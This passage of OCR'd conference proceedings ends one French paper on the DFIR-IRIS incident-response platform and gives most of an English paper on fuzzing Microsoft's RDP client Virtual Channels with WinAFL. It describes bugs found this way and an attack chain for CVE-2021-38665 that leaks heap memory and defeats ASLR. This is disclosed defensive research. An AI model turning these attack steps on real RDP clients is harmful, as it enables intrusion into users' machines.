[’API ainsi que le client sont entierement documentés sur https:
//dfir-iris.github.io.

3.3 Modules

IRIS integre la possibilité d’ajouter des modules pour étendre ses
fonctionnalités. Les modules sont des packages Python basés sur une
interface commune appelée "IrisInterface". Via cette interface les modules
et IRIS peuvent dialoguer.

Deux types de modules sont disponibles :

— Modules processeurs

— Modules pipelines

Les modules processeurs permettent de souscrire a des signaux (appelés
hooks) proposés par IRIS. Par exemple il existe un signal pour 'ajout
d’un nouvel IOC, la mise a jour d’une note, ou méme la suppression d’un
évenement dans la timeline. La quasi-totalité des actions couramment
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utilisées en réponse sur incident est couverte par les signaux. Lorsqu’un
module a souscrit a un signal et est notifié, il recoit I’objet en question
(par exemple I'TOC ou la note). Il peut alors interagir avec pour 'enrichir,
le modifier ou bien juste le transmettre a un autre outil. Les possibilités
sont larges et laissées aux développeurs.

Les modules pipelines permettent eux de réaliser directement le traite-
ment de données a travers la plateforme. Un module de traitement des
fichiers EVTX permettra ainsi d’uploader les EVTX sur la plateforme et
le module se chargera des les importer dans Splunk ou ELK en fonction
des gofits et des budgets.

La documentation du projet offre un tutoriel pour écrire un module
from-scratch. Trois exemples de modules sont aussi disponibles sur le Git
du projet :

— iris-evtx-module, module pipeline, pour traiter les fichiers EVTX

dans un Splunk,

— iris-vt-module, module processeur, pour enrichir des IOCs avec la

plateforme VirusTotal,

— iris-misp-module, module processeur, pour aussi enrichir des I0Cs

avec une instance MISP.

3.4 Architecture de DFIR-IRIS

DFIR-IRIS est principalement développé en Python 3. Il intégre aussi
du HTML, CSS, et Javascript pour I'interface.

La plateforme est basée sur les technologies suivantes :

— Flask pour le service web

— SQLAIchemy et PostgreSQL pour la base de données

— Celery et RabbitMQ pour le traitement des données des modules
— Nginx pour le reverse proxy

L’architecture d’IRIS ci-dessous en Figure 3 présente aussi le module
d’authentification OpenID Connect, basé sur Keycloak [4] (entouré en
pointillé rouge et gras). Ce module est pour l'instant en développement
et sera proposé dans les versions futures. La décentralisation de I’authen-
tification avec en guise d’exemple un framework fiable comme Keycloak
permettra aux utilisateurs d’IRIS de s’interconnecter avec d’autres types
d’authentification (OAuth2, AD...) sans trop d’effort, et sans impacter le
code d’IRIS.
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Fig. 3. Architecture de DFIR-IRIS

3.5 Installation et déploiement de DFIR-IRIS

Compte tenu de notre métier, nous avons fait en sorte de rendre
Iinstallation et le déploiement de DFIR-IRIS le plus simple et automatique
possible. Il s’effectue a I’aide de Docker et Docker-Compose et prend moins
de 5 minutes. Il peut aussi étre déployé sur un petit ordinateur portable lors
d’investigation ou l'acces VPN n’est pas possible, ou lorsque les données
traitées sont sensibles. La plateforme est composée de différents services
Docker :

— app : Le coeur de l'outil, incluant le service web, la gestion de la

base de données, des modules, etc.

— db : La base de données PostgreSQL

— worker : Le gestionnaire des tdches s’appuyant sur RabbitMQ

— nginx : le reverse proxy NGINX

La documentation compleéte ainsi que des vidéos de démonstrations
sont présentes sur https://dfir-iris.github.io/.
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4 Roadmap

Le projet est en constant développement et la roadmap évolue en
fonction des retours que nous recevons. Mais voici quelques idées que nous
aimerions implémenter dans les versions futures.

— Ajout de méthodes d’authentifications (SSO, LDAP, etc)

— Ajout de RBAC et ACL au niveau des investigations

— Développement de nouveaux modules, ex : webhooks pour I’inte-

gration avec Slack, Discord ou autre

— Ajout d’un datastore pour téléverser des fichiers qu’il sera possible

d’inclure dans des notes ou éléments

— Ajouter un systéme de commentaire pour chaque élément de I'in-

vestigation

— Intégrer la matrice MITRE ATTQCK
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Fuzzing Microsoft’s RDP Client using Virtual
Channels
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Thalium

Abstract. The Remote Desktop Protocol (RDP) is a proprietary protocol
designed by Microsoft that allows a user to connect to a remote computer
over the network with a graphical interface. Though server-side security
has often been studied, the security of RDP client applications remains
more peripheral. For all that, the richness of the protocol and the width
of the attack surface make RDP clients valuable fuzzing targets.

This article describes how to leverage the WTS API to setup a fuzzing
architecture for Microsoft’s RDP client based on WinAFL, and suggests a
methodology targeting the Virtual Channels abstraction layer. Through-
out a few channels such as those dedicated to sound redirection, clipboard,
printers or smart cards, several bugs were identified, including two CVEs:
an Information Disclosure and a Remote Code Execution.

1 Introduction

The Remote Desktop Protocol (RDP) is a proprietary protocol designed
by Microsoft that allows a user to connect to a remote computer over
the network with a graphical interface. Its use around the world is very
widespread; some people, for instance, use it often for remote work and
administration.

Although RDP dates back to Windows NT 4.0 (then formerly known
as Terminal Services) and many vulnerabilities have been found in it over
the years, it is in 2014 that researchers from Tripwire, Inc. publish one
of the first works on RDP fuzzing [2]. In 2019, Eyal Itkin of Check Point
Research published work targeting RDP clients in general [5], that led to
16 major vulnerabilities in open-source clients and a path traversal attack
in Microsoft’s client that also impacted the Hyper-V manager.

During a conference talk at Blackhat Europe 2019 [4], Chun Sung
Park, Yeongjin Jang, Seungjoo Kim and Ki Taek Lee explained that they
managed to exploit an RCE inside Microsoft Windows’ RDP client by
fuzzing the Virtual Channels of RDP using WinAFL [6]. We thought they
achieved encouraging results that deserved to be prolonged. The objective
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was to go further, by coming up with a general methodology for attacking
these Virtual Channels that would widen the fuzzing surface.

This work was conducted as part of my second-year engineering intern-
ship at THALIUM, where I spent time studying and reverse engineering
Microsoft RDP, learning about fuzzing, and looking for vulnerabilities.

In parallel, in 2021, researchers from CYBERARK have published some
of the work they conducted on fuzzing RDP [25] as well. Though they
also used WinAFL and faced similar challenges, their fuzzing approach
somewhat differs from the one presented here. !

This article first presents a few elements that are necessary to under-
stand how the Remote Desktop Protocol works. Then, it describes the
architecture that was set up and the methodology used for fuzzing Mi-
crosoft’s RDP client with WinAFL. Finally, some results will be presented
in more detail, especially the vulnerabilities that were found.

1.1 Why search for vulnerabilities in the RDP client?

An example of an RDP client attack scenario is given in the Blackhat
FEurope 2019 conference talk [4]. The authors’ research was driven by the
idea that North Korean hackers would allegedly carry out attacks through
compromised RDP servers acting as proxies. By setting up a honeypot
to which they would connect, one could “hack them back”, assuming a
vulnerability in the client is known.

Vulnerabilities in the RDP client can also lead to guest-to-host virtual
machine escape attacks in Hyper-V. Indeed, since the Hyper-V manager
internally uses RDP to implement features such as screen sharing, remote
keyboard or synchronized clipboard, it inherits its potential security flaws.

Aside from these motives, most of vulnerability research seems to be
focused on server implementations; CVEs in the RDP client are more
scarce, even though the attack surface is as large as the server’s.

2 Study of the Remote Desktop Protocol

This article only presents a few elements of RDP that are needed to
understand how to fuzz Virtual Channels. Other resources such as blog
articles or the Microsoft specification itself [14,24] explain the protocol in
more detail.

! Some major differences are that they implemented multi-input fuzzing, and that
they also fuzzed the RDP server.
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Microsoft has its own implementation of RDP (client and server) built
in Windows. There also exist alternate implementations of RDP, such
as the open-source FreeRDP [1]. By default, the RDP server listens on
TCP port 3389. UDP is also supported to improve performance for certain
tasks such as bitmap or audio delivery. In Windows 10, the main file of
interest for most of the client logic is mstscax.dll.

Basic, core functionalities of an RDP client include receiving desktop
bitmaps from the server, and sending keyboard and mouse inputs to the
server. However, a lot of other information can be exchanged one way or
the other: sound, clipboard, support for special types of hardware, etc.
This information goes through what Microsoft call Virtual Channels.

2.1 Virtual Channels

Virtual Channels (or just channels) are an abstraction layer in RDP
used to generically transport data. They can add functional enhancements
to an RDP session. The Remote Desktop Protocol provides multiplexed
management of multiple virtual channels. Each individual channel behaves
according to its own separate logic, specification and protocol. Microsoft
specifies dozens of official channels [7].

The RDP stack consists of several layers, sometimes with multiple
levels of encryption. Virtual Channels operate on the MCS (Multipoint
Communication Service) layer (fig. 1). Thanksfully, Windows provides an
API called the WTS API [20] to interact with this layer, which allows to
open, read from and write to a channel. This comes convenient for writing
a fuzzing harness.

RDP

MCS

X.224

TPKT

TLS

TCP

Fig. 1. Remote Desktop Procol stack.
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There are two types of Virtual Channels: static ones and dynamic ones.
Static Virtual Channels (SVC) are negotiated during the connection phase.
They are opened once for the session and are identified by a name up to 8
bytes. By default, the RDP client asks to open the four following SVCs:

— RDPSND: audio redirection from the server to the client;

— CLIPRDR: two-way clipboard redirection/synchronization;

— RDPDR: filesystem redirection (and more...);

— DRDYNVC: support for dynamic channels.

Dynamic Virtual Channels (DVC) are built on top of the DRDYNVC
SVC, which manages them. They can be opened and closed on the fly
during an RDP session. They are especially used by developers to create
extensions. Microsoft provides a fair amount of official DVCs (touch and
pen input, geometric rendering, display configuration, telemetry, micro-
phones, webcams, PnP redirection. .. ), some of which are automatically
enabled.

In conclusion, both types of channels are great targets for fuzzing. Each
channel behaves independently, has a different protocol parser, different
logic, lots of different structures, and can hide many bugs. What is more,
channels that are open by default are an even more interesting target
risk-wise, because any vulnerability found in these will directly impact
most clients.

3 Architecture for fuzzing the RDP client

Since there was little to no information publicly available about the
fuzzer presented at Blackhat Europe 2019 [4], the choice was made to
implement a new architecture for fuzzing the RDP client. We decided
however to take inspiration from two elements: the use of WinAFL, and
the network-level approach for the harness.

3.1 WinAFL: presentation and choices

WinAFL [6] is a Windows fork of the popular mutational fuzzing tool
AFL [12]. It works by continuously sending and mutating inputs to a target
program in order to make it behave unexpectedly (and hopefully crash).
Mutations are repeatedly performed on samples which must initially come
from a corpus (a set of input files or seeds).

As described in The Art, Science, and Engineering of Fuzzing by
Manes et al. [10], AFL and its descendants are grey-box fuzzers, which
means they are feedback-based or coverage-guided. Coverage-guided fuzzers
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instrument the target binary to compute, for each execution, the branch
coverage (for example, which basic blocks were visited). This technique
allows the fuzzer to explore new paths within the target binary, and with
which inputs they are reached.

In order to achieve coverage-guided fuzzing, WinAFL provides several
instrumentation modes: dynamic instrumentation using DynamoRIO,
Intel PT and Syzygy. Because Intel PT has limitations within virtualized
environments and Syzygy is restricted to 32-bit binaries with full PDB
symbols, the adopted mode was DynamoRIO.

DynamoRIO [29] is a dynamic binary instrumentation framework. It
provides an API to deal with black-box targets, which WinAFL can use
to instrument the target binary (in particular, monitor code coverage at
run time).

Finally, when fuzzing, killing and restarting the RDP client each
iteration is unwanted as it would add enormous overhead. To alleviate
that, DynamoRIO provides several persistence modes that dictate how
the fuzzer should exactly loop on the target function:

— Native persistence: measure coverage of the target function, and
on return, reload context and redirect execution back to the start
of the target function;

— In-app persistence: let the program loop naturally, and coverage will
reset each time in the pre_loop_start_handler, inserted right
before the target function;

— “No-loop” mode: similar to in-app persistence, with the advantage
of stopping coverage on return. This mode was found by reading
WinAFL’s codebase and does not seem documented.

The “no-loop” mode was chosen as it seems adapted to the context of
network fuzzing, while still producing code coverage limited to the part
of interest inside the RDP client (the one that handles the channel being
fuzzed). Figure 2 summarizes, in a simplified manner, the fuzzing process
using WinAFL’s “no-loop” mode.

One should also mind the importance of the —~thread-coverage option
in DynamoRIO, which limits code coverage measurement to the thread
that triggered the target function. Forgetting this option will negatively
impact the fuzzer’s stability metric, because coverage will include heavy
noise from other threads’s activity in the RDP client, rendering the fuzzing
very random.

GFlags was also enabled with PageHeap [13]. Applying the /full
option on mstscax.dll asks Windows to place an unreachable page at the



48 Fuzzing Microsoft RDP using Virtual Channels
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]

Fig. 2. Fuzzing process with WinAFL in “no-loop” mode.

end of each heap allocation. Therefore, as soon as there is an out-of-bounds
access, the client will crash.

3.2 Setting up WinAFL for network fuzzing

By default, WinAFL writes mutations to a file that should be passed
as an argument to the target binary. The target being a network client,
we can either fuzz it through the network by sending packets, or try
to harness directly the functions inside the client that handle incoming
packets and modify the packets in memory, for instance with a snapshot-
based approach.

The choice was made to make the harness act like a server that sends
mutations to the client over the network. This requires developing a server-
side harness, and then adapting WinAFL so that it redirects the mutations
over to the harness. Although it may seem like it would slow down the
fuzzer, sending mutations over the network is actually not a bottleneck at
all in terms of fuzzing speed (at least locally).

The harness runs in parallel of the RDP server. It listens on a given
TCP port and waits to receive an input mutation. It optionally processes it,
and sends the mutation back to the RDP client through a specified Virtual
Channel. This is easily implemented using the aforementioned WTS API.
Finally, WinAFL is modified to send mutations to the harness via TCP
by changing the write_to_testcase function. The fuzzer architecture is
drawn figure 3.

In the Blackhat Europe 2019 conference talk [4], the authors used two
virtual machines (one for the client and one for the server). Indeed, it is
not normally possible, by design, to connect to a local RDP server on the
same machine. The RDPWrap [26] tool allows to bypass this limitation:
the fuzzer therefore fits in a single virtual machine.
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Fig. 3. Architecture of the fuzzer.

4 Fuzzing methodology

The harness is functional, but before actually fuzzing, one needs to
agree on what to attack and which approach to use. This section will
illustrate the different steps with the example of the RDPSND channel
(sound redirection).

4.1 Attacking a channel

Once the target channel is selected, two elements are concretely needed
to start fuzzing: a target offset (address of the target function), and an
initial corpus.

The first step is to read the channel specification provided by Microsoft
(for RDPSND: [15]). It describes the channel’s functioning quite exhaustively,
with all the different message types, structures, protocol diagrams, as well
as many examples of PDU (Protocol Data Unit) hexdumps. These are
great mutation seeds for the fuzzer.

Then, the RDP client can be reverse engineered to locate where in-
coming PDUs in the channel are received and processed. PDB symbols,
strings and magic numbers are often enough to identify these channel
handlers. For instance, in RDPSND, the target method is rather straightfor-
ward (fig. 4). In case it is not enough, one can capture code coverage at
the moment a PDU is sent to the target channel. This can be achieved
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with Frida and frida-drcov [23,30]. The Lighthouse IDA plugin [11] then
allows to visualize the code coverage.

int64 CRdpAudioController: :DataArrived(
__inte4 this,
__int8 s
DWORD *a3,

h (PDU->Header.msgType) {
X1
X2
oxe3: ...

Fig. 4. Target method for the RDPSND channel.

4.2 Different fuzzing strategies

Once the target offset is known, should we start fuzzing naively with
the seeds gathered from the specification?

There is still one main problem that arises: the problem of stateful
fuzzing in a network context. Indeed, the RDP client can be modelled
by a complex state machine. This state machine could be subdivided in
several smaller state machines for each channel, but which would remain
fundamentally complex to characterize.

We suggest two main stategies: a “naive” one, and one that partially
addresses the mentioned problem, but at some cost. However, neither
strategy entirely addresses the stateful fuzzing issue: it was estimated it
would require significant additional work, and the initial plan was to be
able to fuzz many channels with a lesser effort.

Mixed message type fuzzing. This is the “naive” strategy: the seeds
gathered from the specification are used “as is”, and without modifying
the harness any further: it sends back the raw mutations to the client.
Figure 5 describes the structure of an RDPSND PDU header.

Since the mutation seeds include the header, the fuzzer will also mutate
it, including the msgType field. Therefore, the RDP client will receive a lot
of different message types, in a rather random order. This is an interesting
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0x01 SNDC_CLOSE
0x02 SNDC_WAVE
0x03 SNDC_SETVOLUME

Fig. 5. SNDPROLOG header of an RDPSND PDU.

approach because sending a sequence of PDUs of different types in a
certain order could help the client enter a state in which a bug is triggered.

A drawback of this strategy is that crash analysis becomes more
difficult. Since a larger space of PDUs is covered, and thus a larger space
of states, there is a higher chance that a bug originates from a complex
sequence of states. When WinAFL detects a crash and saves the associated
mutation, there is no guarantee whatsoever that reproducing the bug is
feasible with this mutation only. If the bug does not reproduce, it is
probably because it is rather a sequence of PDUs that crashed the client,
and not just a single PDU. However, understanding which sequence of
PDUs made the client crash is often difficult and requires a more in-depth
analysis.

Fixed message type fuzzing. This time, WinAFL will operate only
on the message’s body. In particular, the msgType will not be mutated,
implying a fuzzing campaign should be started for each individual message
type (there are 13 in RDPSND). For instance, one can target specifically
the “Server Audio Formats and Version” PDUs in RDPSND (figure 6).

This strategy is still vulnerable to the presence of “stateful bugs”,
but generally less than in mixed message type fuzzing, because the state
space is smaller. However, it requires some preparation: cutting the seeds’
headers, and writing a specific wrapper for each channel at harness-level
to reconstruct the header. In certain cases, it may also be useful to identify
the methods in the binary that handle each message type (for instance in
the CLIPRDR channel, where these methods are called asynchronously).

We conclude both fuzzing approaches should be taken into considera-
tion. The first one can find more uncommon bugs, but which are sometimes
very hard to analyze. The second one needs a bit more effort to set up,
but allows to go more in depth in each message type’s logic, and the bugs
found are usually easier to reproduce.
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Fig. 6. RDPSND Server Audio Formats and Version PDU structure.

4.3 Analyzing crashes

As mentioned, analyzing a crash can range from easy to nearly im-
possible. When WinAFL finds a crash, the only thing it does is save the
associated mutation to a file. From there, there are two possibilities:

— the crash is successfully reproduced. In this case, what is only left
is to reverse to understand the root cause, analyze risk, and maybe
grow the crash into a bigger vulnerability;

— the crash cannot be reproduced. In this case, one can try working
their way through “blindly” by dissecting the guilty payload. ..

For analysis purposes, a modification of WinAFL to log more informa-
tion about crashes (exception address, module, timestamp and exception
information) proved to be of great use. This way, even when the crash
cannot be reproduced, one can still locate where the crash occurred. They
usually occur in mstscax.d1ll, but some bugs may happen in other mod-
ules. It is worth noting a crash in an “unknown module” could mean the
execution flow was redirected.

4.4 Assessing fuzzing quality

Knowing when to stop fuzzing a channel exactly is not an easy task.
As during any fuzzing campaign, the number of paths found over time
always tends to reach a certain plateau. But although a plateau is reached,
waiting a few additional hours could very well lead to a lucky strike in
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which a new mutation is found, in turn snowballing into dozens of new
paths.

The main criterion to take into account is code coverage quality. To
help with assessing code coverage quality, a modification in WinAFL adds
an option that saves all the encountered basic blocks at each fuzzing
iteration, and logs them into a file if the iteration produced a new path.
For each new path, the corresponding basic block trace can be converted
in the Mod+0ffset format in order to be visualized with Lighthouse [11].

Figure 7 shows Lighthouse’s visualization of the obtained code coverage
for the RDPSND channel. The proportion of blocks hit in each “audio”
function is a good indicator of quality, although it seldom reaches 50%
because there is a large proportion of error-handling blocks that are never
visited.

~

Cov%  Func Name Address Blocks Hit Instr. Hit Func Size cc

Fig. 7. Code coverage for the RDPSND channel fuzzing campaign in Lighthouse.

Skimming through the functions, one can assess whether they are
satisfied with the fuzzing campaign. However, this requires having reverse
engineered the channel enough to have a good depiction of its architecture
and inner workings in mind; more specifically, to know what are all the
functions and basic blocks of interest.

5 Results

This section presents some results in a few channels where fuzzing
campaigns were attempted.

Table 1 synthesizes the fuzzing level of each channel and the number
of bugs found. Fuzzing level is a subjective scale to assess how much and
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Channel Description Fuzzing level Bugs

1

RDPSND  Audio redirection

CLIPRDR Clipboard

DRDYNVC Dynamic channels manager

RDPDR Filesystem redirection, printers, smart cards. ..

N O =N

1
3

Table 1. Results of the fuzzing campaigns.

how well each channel was fuzzed: 0 if fuzzing failed, 1 if fuzzing could
have been done better or more in depth, and 2 if coverage was satisfying
enough (of course, this does not imply at all that the channel is exempt
from any bugs). In particular, three channels were effectively fuzzed, and
one (DRDYNVC) could not be fuzzed.

5.1 RDPSND

RDPSND is a static virtual channel that transports audio data from
server to client, so that the client is able to play sound originating from
the server. It is open by default. Most of the message types referenced in
the specification [15] were fuzzed. Each message type was fuzzed for hours
and the channel as a whole for days. Code coverage is decent.

One crash was found that is not further exploitable, but that will still
be detailed as it is a good example of “stateful bug”.

Out-of-Bounds Read in RDPSND. ? The crash happened upon receipt of
a Wave2 PDU, inside CRdpAudioController: :0OnWaveData. Dissecting
the PDU (listing 1) does not reveal anything particularly shocking right
away. On a purely semantic level, fields that could be good candidates for
a crash are wFormatNo or cBlockNo, because they may index an array.

0d 00 10 00 Header

16 al wTimeStamp
0f 00 wFormatNo
20 cBlockNo
£5 00 00 bPad

c2 b8 b3 0d dwAudioTimeStamp
de 20 be ef Data

Listing 1. Out-of-Bounds Read bug in RDPSND: guilty PDU dissection.

Reversing the OnWaveData function (listing 2) allows to understand
the bug. The attacker controls wFormatNo (unsigned short), and the crash

2 CyberArk also found this bug and described it in their own article [25].
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occurs when computing targetFormat. The out-of-bounds crash is quite
obvious; however, manually replaying the malicious PDU has no effect.
This is a case of “stateful bug” in which a sequence of PDUs crashed the
client, and only the last PDU is known.

wFormatNo = PDU->Body.wFormatNo;

// Has wFormatNo changed since the last Wave PDU?
if (wFormatNo != this->lastFormatNo) {
// Load the new format
if (!CRdpAudioController::0OnNewFormat (this, wFormatNo)) {
// Error, ezit
}
this->lastFormatNo = wFormatNo;

}

// Fetch the audio format of 4index wFormatNo
savedAudioFormats = this->savedAudioFormats;
targetFormat = *(AudioFormat *%*)(savedAudioFormats + 8 * wFormatNo);

wFormatTag = targetFormat->wFormatTag;

Listing 2. Vulnerable piece of the OnWaveData function in RDPSND.

No length checking is performed here on wFormatNo, but there is ac-
tually a check inside the OnNewFormat function. In order to trigger the
bug, the condition has to be skipped over, and for that, wFormatNo should
be equal to the last one that was sent (this->lastFormatNo). The an-
swer to the problem lies in the Server Audio Formats and Version PDU
(figure 6). This PDU is used by the server to send a list of supported
audio formats to the client. The client will save this list of formats in
this->savedAudioFormats. Therefore, the bug can be triggered by send-
ing a Format PDU between two Wave PDUs to make this list smaller.
More specifically:

1. Send n > 1 formats to the client through a Format PDU.

2. Send a Wave PDU with wFormatNo set to n.

3. Send a new Format PDU with k < n formats: the format list is

freed and reconstructed.

4. Send the same Wave PDU than in step 2: since lastFormatNo
is n, the length check inside OnNewFormat is bypassed and the
out-of-bounds read triggered.

Although this bug cannot be grown into an actual vulnerability because
the memory read cannot be leaked back to the server, it highlights how
“mixed message type fuzzing” can help find new bugs. WinAFL managed
to find a sequence of PDUs which bypasses a certain condition to trigger
a crash that could have been otherwise overlooked.
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5.2 CLIPRDR

CLIPRDR is a static virtual channel dedicated to the synchronization
of the clipboard between the server and the client. It allows to copy and
paste several types of data (text, images, files...) from server to client
and vice versa. It is open by default.

Unlike most other channels, CLIPRDR is modelled by an actual state
machine (documented in [16]) and includes proper state verification. In-
deed, each PDU sub-handler (logic for a certain message type) calls the
CheckClipboardStateTable function prior to anything. This function
tracks and ensures the client is in the correct state to process the PDU. If
it is not, it just drops the message and does not do anything. This is a
concern for two major reasons:

1. In mixed message type fuzzing, very few PDU sequences would
make sense and pass the state checks, therefore a lot of the fuzzing
effort would go to waste.

2. Fixed message type fuzzing would not work either, or it would
require finding a way to bring the client to the right state before
each iteration and for each message type, which is not easy to
characterize and implement.

CLIPRDR comes with another surprise: incoming PDUs are dispatched
asynchronously inside the CClipRdrPduDispatcher: :DispatchPdu func-
tion. The PDU sub-handling logic is thus run in a different thread, which
renders DynamoRIO’s thread_coverage option useless.

The choice was made to perform blind mixed message type fuzzing
(without thread coverage). This weaker strategy still allowed to identify a
bug.

Arbitrary Malloc Denial-of-Service in CLIPRDR. This bug showcases
a golden rule of fuzzing: that it is not only about crashes and that side
effects of fuzzing on a system can also reveal bugs. While blindly fuzzing the
channel, the virtual machine would always end up freezing entirely, which
required hard rebooting it. This was due to memory overcommitment in
the RDP client: it would, at some point, very quickly fill up the system’s
RAM until reaching “death by swap”.

Narrowing down the candidates for a malicious PDU was made possible
by purposefully slowing down the harness. The PDU listing 3 is a minimal
reproduction case of the bug: a Lock Clipboard Data PDU which only
contains a clipDatald field.
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0a 00 msgType
00 00 msgFlags
04 00 00 00 datalLen
01 69 63 6b clipDatald

Listing 3. DoS in CLIPRDR: guilty PDU dissection.

In the CClipBase: :0OnLockClipData function, this field is used in a
SmartArray object, and the attacker-controlled value (an unsigned 32-bit
integer) is eventually used in a memory allocation (listing 4). This leads
to a malloc of size 8 x (32 + clipDatald), which means at maximum a
little more than 32 GB.

1 |v6 = operator mew(saturated_mul (32 + clipDatald, 8));

N O Ut W N

Listing 4. Vulnerable piece in CLIPRDR: arbitrary memory allocation in
DynArray: :Grow.

Risk-wise, on systems with a moderate amount of RAM, this is a
case of remote system-wide denial of service; less impressive on a client
than on a server, but may still be dangerous. Moreover, the malicious
payloads can be sent in small increments to adapt to the amount of
RAM on the victim’s system (allocating too much at once will trigger
ERROR_NOT_ENOUGH_MEMORY).

5.3 DRDYNVC

DRDYNVC is a static virtual channel dedicated to the support of dynamic
virtual channels (DVC). It allows to create, open and close DVCs, and
data transported through DVCs is actually transported over DRDYNVC,
which acts a wrapping layer. It is open by default.

Unfortunately, we ran into some complications when try-
ing to harness the channel. When opening a channel through
WTSVirtualChannelOpen, WTSAPI32 eventually ends up perform-
ing a Remote Procedure Call. The endpoint of the RPC is lo-
cated in termsrv.dll’s function RpcCreateVirtualChannel, which
leads to the CUMRDPConnection: :CreateVirtualChannel function inside
rdpcorets.dll (listing 5).

if ( !_stricmp("DRDYNVC", channel_name)
|l !_stricmp("rdpgrfx", channel_name)
|| ! _stricmp("rdpinpt", channel_name)
|l !_stricmp("rdpcmd", channel_name)
|| ! _stricmp("rdplic", channel_name)
|l '_stricmp("Microsoft::Windows::RDS::Graphics", channel_name) )
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8 error_code = 0x80070005;
9 goto LABEL_58;
10 |}

Listing 5. Channel opening blacklist in CreateVirtualChannel (rdpcorets.dll).

DRDYNVC is therefore blacklisted from being opened via the WTS API,
along with some other channels. Other approaches such as patching the
DLLs did not yield favorable results, hence why this channel was not
further explored.

5.4 RDPDR

Last but not least, RDPDR is the static virtuel channel dedicated to
redirecting access from the server to the client’s file system. It is open by
default. It is also the base channel that hosts several sub-extensions such
as the smart card extension, the printing ertension or the ports extension.
Figure 8 shows the architecture of the channel in mstscax.d11.

Incoming PDU on
i RDPDR channel

RDPDR_OpenEventFn

i Initialized?

VCManager::ChannelOpenEvent

|

ProcObj::ProcessServerPacket

Component == 0x5052 ¢ | ¢ Component == 0x4472

W32DrPRN::ProcessPrinterCachelnfo

‘ ProcObj::ProcessCoreServerPacket

Printers ¢ File system PacketId == 0x496e
Ports
Smart cards —){ Server Announce Request |

PacketId == 0x4343

—){ Device 1/0 Request |

A4

Fig. 8. RDPDR channel architecture in mstscax.dll and header structure.

In this channel, we encountered a difficulty: the client closes the channel
as soon as anything goes wrong while handling an incoming PDU (length
checking failure, unrecognized enum value. .. ). The choice was made to
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patch the DLL to get rid of this measure. However, one should be very
careful while patching a fuzzing target. Since the patch modifies the client’s
behavior, real bugs in the RDP client will only constitute a subset of the
bugs found in the patched DLL.

The channel was fuzzed as a whole, including the sub-protocols (printer,
smart cards. .. ). Three bugs were identified.

Arbitrary Malloc Denial-of-Service in RDPDR. This first bug is highly
similar to the one found in CLIPRDR, so it will not be detailed further.
A malicious Device I/O Request PDU of sub-type Device Control Re-
quest can trigger an arbitrary memory allocation up to 4 GB inside
W32SCard: :MsgIrpDeviceControl.

Remote Heap Leak in RDPDR. This vulnerability resides in RDPDR’s
printer sub-protocol. It was reported to Microsoft, which assigned it CVE-
2021-38665 [22,27], and assessed it as Information Disclosure of Important
severity.

Similarly to some previous bugs, the crashes WinAFL found were not
what led to discover this bug. Rather, it was the prolonged fuzzing and
the millions of executions that unveiled unexpected side effects the server
could have on the client’s system. After a while, every time it was run, the
RDP client would start consuming a lot of RAM, until eventually hanging
the whole system.

The reason was that upon starting, the client would keep iterat-
ing on registry keys inside HKCU\Software\Microsoft\Terminal Server
Client\Default\AddIns\RDPDR, and the more keys, the worse the mem-
ory consumption. This fact alone is already very annoying for a client:
it is more serious than a simple crash or arbitrary memory allocation.
Since the bug is persistent, it entirely prevents one from using their RDP
client ever again, unless they specifically know how to fix the problem by
deleting the correct keys in the registry.

Figure 9 shows the guilty keys inside the registry. Their names are
actually WinAFL mutations interpreted as UTF-16. However, what catches
the eye is that these key names are of quite variable length, and may
suggest an out-of-bounds of some sort.

The Add Printer Cachedata PDU type, found in the printer subprotocol
specification [17], is responsible for creating these registry keys. Reversing
the W32DrPRN: : AddPrinterCacheInfo function (listing 6) shows that the
key name (PrinterName) is entirely controlled.
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__int64 W32DrPRN::AddPrinterCacheInfo (DR_PRN_ADD_CACHEDATA * PduBody
, unsigned int PduBodyLength) {
VTR
const WCHAR * PrinterName = (const WCHAR *) ((char #*)PduBody + 24 +
PduBody ->PnPNamelLen + PduBody->DriverNameLen) ;
RegCreateKeyExW (
HKEY_CURRENT_USER,
L"Software\\Microsoft\\Terminal Server Client\\Default\\AddIns\\
RDPDR",
0, 0, 0, OxFOO3F, O, &hKey, &dwDisposition
)
RegCreateKeyExW (hKey, PrinterName, O, O, O, OxFOO3F, O, &phkResult
, &dwDisposition);
RegSetValueExW (phkResult, L"PrinterCacheData", 0, 3, (const BYTE
*) PduBody , TotalLen);
VAT

Listing 6. W32DrPRN: : AddPrinterCacheInfo function in the RDPDR channel.

Brither{ DCP-1
Brisidh FEREIRDHAH ST EHO
Brig S &

Bréfither DCP-1000 USB

Bréfher DCP-100

BXother DCP-1000 USB

BXother DyP-1000 USB

byjth

B'/ther DCP-1000 USB

BZother DEP-/2000wUSE
iEEEEEEEEERR LAt Warat ]
B- other DCP-1000 USE
BAZE#- her DCP-1000 USB

Bfit othOr DCP-1000 USB

BER ot

Fig. 9. Mutated key names inside the registry while fuzzing RDPDR.

The bug comes from the fact that the server can send a non-
null terminated wide string as PrinterName. It is naively passed to
RegCreateKeyExW, which will create the key assuming its name stops
at the first wide null-byte (0x0000).

For example, by sending a PDU with the PrinterName field set to
Brother DCP-1000 USB and without terminating wide null byte, the
client may create a key with the following name (in hexadecimal): 42
00 72 00 6F 00 74 00 68 00 65 00 72 00 20 00 44 00 43 00 50
00 2D 00 31 00 30 00 30 00 30 00 20 00 55 00 53 00 42 00 20
00 61 62 63 64 8D 28 OF 90 00 40 00 90 D8 92 60 C1 FB 7F.
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One can obtain these values by reading the key name from the registry
and encoding it as UTF-16. This reveals in particular that some heap bytes
were leaked at the end of the name, including an address: 0x7FFBC16092D8
(a vtable pointer in mstscax.dll). This address leak was quite consistent
across different environments, allowing to weaken ASLR and calculate
mstscax.d11’s base address. In case there is no valuable leak, the attacker
can try sending the PDU again, and do so as many times as they want.

In order to repatriate the leaks back to the server, there exists in the
protocol a Client Device List Announce Request PDU type. The RDP
client sends these PDUs (one for each cached printer) upon initialization
of the RDPDR channel. Therefore, if the victim reconnects to the server,
the client will iterate on the registry keys and send them to the server,
including the tampered keys with the leaks.

One way to turn the vulnerability into a zero-click attack is to
send garbage bytes to Microsoft: :Windows: :RDS: : Graphics (a dynamic
channel used to transport bitmap data). Corrupting this channel shows a
pop-up window that says: “connection has been lost, attempting to recon-
nect to the session”. Then, the client effectively reconnects automatically
to the server.

Finally, once the client sent the leaks, the attacker can send Delete
Printer Cachedata PDUs to delete the leaky keys in the client’s registry if
they wish.

Figure 10 summarizes the attack scheme for this vulnerability.

1. Send malicious DR_PRN_ADD_CACHEDATA

Y

3. Optionally repeat (1) to increase 2. The client leaks heap memory
probability of leaking valuable data in a registry key name

Y

4. Trick the client into reconnecting by corrupting
